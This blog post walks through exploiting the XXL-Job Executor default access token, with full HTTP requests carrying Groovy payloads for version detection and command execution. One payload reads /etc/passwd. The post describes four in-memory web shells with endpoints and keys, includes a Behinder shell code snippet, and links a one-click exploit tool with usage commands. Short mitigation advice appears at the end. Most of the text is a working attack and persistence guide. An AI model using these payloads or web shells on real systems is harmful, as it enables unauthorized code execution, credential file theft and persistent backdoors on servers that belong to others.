XXL-Job Executor Default AccessToken Vulnerability: Exploitation and Memory Shell Injection in Non-Outbound Scenarios

104 Views
No Comments

In penetration testing, XXL-Job vulnerabilities are often highlighted for their convenience in direct reverse shell attacks. However, real-world scenarios frequently involve “non-outbound networks” or “missing scheduler panels,” which pose greater challenges. This article breaks down the version detection, command execution, and multiple memory shell injection methods for the XXL-Job Executor default token vulnerability, using practical case studies. It also provides a one-click tool to simplify operations, serving as a reference for security testers and DevOps engineers.

XXL-Job Executor Default AccessToken Vulnerability: Exploitation and Memory Shell Injection in Non-Outbound Scenarios

1. Vulnerability Background & Test Environment

As a popular distributed task scheduling framework, XXL-Job has a default AccessToken (“default_token”) configuration vulnerability in some Executor versions. Attackers can bypass authentication and execute malicious code using this vulnerability. This test focuses on “non-outbound network” and “no scheduler panel” scenarios to verify the feasibility of exploitation and alternative solutions.

Key Test Environment Parameters

Configuration Item Details Description
Target System XXL-Job Executor Not a complete XXL-Job project; only integrates the Executor module.
Tested Versions 2.2.0, 2.3.1, 2.4.1 Covers mainstream stable versions to verify version-specific impacts.
Default Token default_token Default Executor configuration; risky if not modified.
Common Port 9999 Default communication port for XXL-Job Executor (adjust based on reality).

2. Version Detection & OS Identification

Different XXL-Job versions use different log output classes, which is the core basis for version detection. By constructing a /run request to execute a Groovy script and querying results via the /log endpoint, you can simultaneously determine the version and identify the operating system.

2.1 Detecting XXL-Job 2.2.0

Version 2.2.0 relies on the xxl.job.core.log.XxlJobLogger class for log output, and scripts must return a ReturnT<String> type result.

Step 1: Send Execution Request (POST /run)

The core is to use a Groovy script to call System.getProperty("os.name") for system information and output an identifier via XxlJobLogger.log().

POST /run HTTP/1.1
Host: IP:9999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 933

{
  "jobId": 16,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 16,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.log.XxlJobLogger;public class DemoGlueJobHandler extends IJobHandler {@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobLogger.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");return com.xxl.job.core.biz.model.ReturnT.SUCCESS;} catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

A successful response ({"code":200}) indicates the script has executed.

Step 2: Query Logs (POST /log)

Retrieve execution results using logId; the log will contain a system identifier (e.g., **********Linux/Unix**********).

POST /log HTTP/1.1
Host: IP:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

{"logId": 16}

2.2 Detecting XXL-Job Versions >2.2.0 (2.3.1/2.4.1)

Versions after 2.2.0 replace the log class with xxl.job.core.context.XxlJobHelper, and the execute method returns void—scripts must be adjusted accordingly.

Key Request Differences

  • Log Class: Changed from XxlJobLogger to XxlJobHelper.
  • Method Signature: Changed from public ReturnT<String> execute(String param) to void execute().

Example Execution Request (POST /run)

POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 782

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.context.XxlJobHelper;public class DemoGlueJobHandler extends IJobHandler {@Override void execute() throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobHelper.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");} catch(Exception e){XxlJobHelper.log(e.getMessage());}}}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

2.3 Version-to-Log Class Mapping

XXL-Job Version Log Output Class Method Signature Log Identifier Feature
2.2.0 XxlJobLogger ReturnT<String> execute(String param) NativeMethodAccessorImpl#invoke0
>2.2.0 (2.3.1/2.4.1) XxlJobHelper void execute() GeneratedMethodAccessor#invoke

3. Command Execution in Non-Outbound Scenarios

Non-outbound networks prevent direct reverse shells. Instead, use the /run endpoint to execute commands and the /log endpoint to read results—creating an “execution-echo” loop. Below is an example of running cat /etc/passwd on version 2.2.0.

3.1 Command Execution Request (POST /run)

Embed Runtime.getRuntime().exec() in the Groovy script to run system commands, then use StringBuilder to concatenate results and echo them via logs.

POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115

{
  "jobId": 123,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 123,
  "logDateTime": 1,
  "glueType": "GLUE_GROOVY",
  "glueSource": "package com.xxl.job.service.handler;\nimport com.xxl.job.core.handler.IJobHandler;\nimport com.xxl.job.core.log.XxlJobLogger;\npublic class DemoGlueJobHandler extends IJobHandler {\n@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {\ntry {\nProcess p=Runtime.getRuntime().exec(\"cat /etc/passwd\");\njava.io.BufferedReader r=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));\nStringBuilder sb=new StringBuilder();\nString line;\nwhile((line=r.readLine())!=null) sb.append(line).append(\"**********\");\nXxlJobLogger.log(sb.toString());\nreturn com.xxl.job.core.biz.model.ReturnT.SUCCESS;\n}catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}\n}\n}",
  "glueUpdatetime": 1586699003757,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

3.2 Result Retrieval

Send a /log request to query logs for logId=123. The result will include the content of /etc/passwd, e.g.:

{
  "code": 200,
  "content": {
    "fromLineNum": 0,
    "toLineNum": 7,
    "logContent": "root:x:0:0:root:/root:/bin/bash**********daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin**********..."
  }
}

4. Filter-Based Memory Shell Injection

Frequent command execution requests are inefficient. In non-outbound scenarios, injecting a memory shell establishes a long-term control channel. Below are 4 common memory shell injection methods, all implemented via Filter registration.

4.1 CMD Memory Shell (Simple Command Interaction)

Core Features

  • Endpoint: /A_llen666
  • Trigger Parameter: cmd (pass commands directly, e.g., whoami)
  • OS Compatibility: Automatically identifies Windows/Linux and calls cmd.exe or /bin/bash accordingly.

Injection Principle

  1. Create a custom Filter to monitor the /A_llen666 endpoint.
  2. When a request includes the cmd parameter, execute the command based on the OS.
  3. Return command results via ServletResponse for real-time interaction.

Example Usage

After successful injection, execute commands by accessing:

http://ip:port/A_llen666?cmd=ls  # Linux
http://ip:port/A_llen666?cmd=dir # Windows

4.2 Behinder Memory Shell (Encrypted Communication)

Suitable for scenarios requiring stealthy communication. Supports connections via the Behinder client for encrypted command/result transmission.

Core Configuration

  • Endpoint: /rebeyond
  • Password: rebeyond
  • Encryption: AES
  • Trigger: POST request (configure and connect via the Behinder client).

Key Code Snippet

Filter filter = new Filter() {public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);
            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b"; // Encryption key
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                // Decrypt and execute malicious class
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){e.printStackTrace();
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
};

4.3 Suo5 Memory Shell (Client-Specific)

Requires connection via the Suo5 client and uses the Referer header for authentication to enhance stealth.

Core Configuration

  • Endpoint: /suo5
  • Validation Header: Referer: Igoxoomgb
  • Client Command:bash./suo5 -t http://target:port/suo5 -H "Referer: Igoxoomgb"

4.4 AntSword Memory Shell (Wide Compatibility)

Compatible with the AntSword client, using both Referer header and secret key verification—ideal for general penetration scenarios.

Core Configuration

  • Endpoint: /antsword
  • Secret Key: Nazkkdgde
  • Validation Header: Referer: Niykzlij
  • Trigger: Configure the endpoint, secret key, and header in the AntSword client; test the connection to gain control.

4.5 Critical Notes for Memory Shell Injection

  1. Version Compatibility: The Behinder memory shell payload requires adjustments for version 2.4.1 (mainly differences in encryption logic and class loading).
  2. Escaping Issues: The \ character in Groovy scripts is treated as a placeholder—use double escaping (e.g., replace \" with \\").
  3. Container Compatibility: This test only covers Tomcat; adjust Filter registration logic for other containers (e.g., Jetty).
  4. Avoid Business Disruption: Netty memory shells overwrite existing handler logic, which may crash the Executor—use with caution.

5. One-Click Exploitation Tool

Manual request construction and scripting are inefficient and error-prone. To address this, a one-click exploitation tool for XXL-Job Executor vulnerabilities was developed, integrating version detection, command execution, and memory shell injection.

Tool Features

  • Automatically detects XXL-Job version and OS.
  • Supports one-click injection of 4 memory shell types (customizable endpoints/keys).
  • Automatically parses command execution results (no manual log queries).
  • Open-Source Repository: https://github.com/qncosfh/xxl_job_executor_exploit

Usage Examples

# Detect target version
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m detect

# Execute command (cat /etc/passwd)
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m exec -c "cat /etc/passwd"

# Inject CMD memory shell (endpoint /A_llen666)
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m memshell -t cmd -p /A_llen666

6. Vulnerability Mitigation Recommendations

  1. Modify Default Token: In the Executor configuration file (e.g., application.properties), change xxl.job.accessToken to a complex random string (avoid default_token).
  2. Restrict Port Access: Only allow the scheduler’s IP to access the Executor port (e.g., 9999); block public network access.
  3. Upgrade Framework Version: Use versions 2.4.1 or later to fix known permission control flaws.
  4. Regular Security Scans: Use vulnerability scanners to periodically check Executors for default configurations and unauthorized access risks.

This article covers the full exploitation workflow of the XXL-Job Executor default token vulnerability from a practical perspective, with a focus on memory shell solutions for “non-outbound” pain points. Security professionals can use the methods and tools here for efficient testing, while DevOps teams can reference mitigation recommendations to harden systems and reduce vulnerability risks.

END
 0
Fr2ed0m
Copyright Notice: Our original article was published by Fr2ed0m on 2025-10-23, total 11587 words.
Reproduction Note: Unless otherwise specified, all articles are published by cc-4.0 protocol. Please indicate the source of reprint.
Comment(No Comments)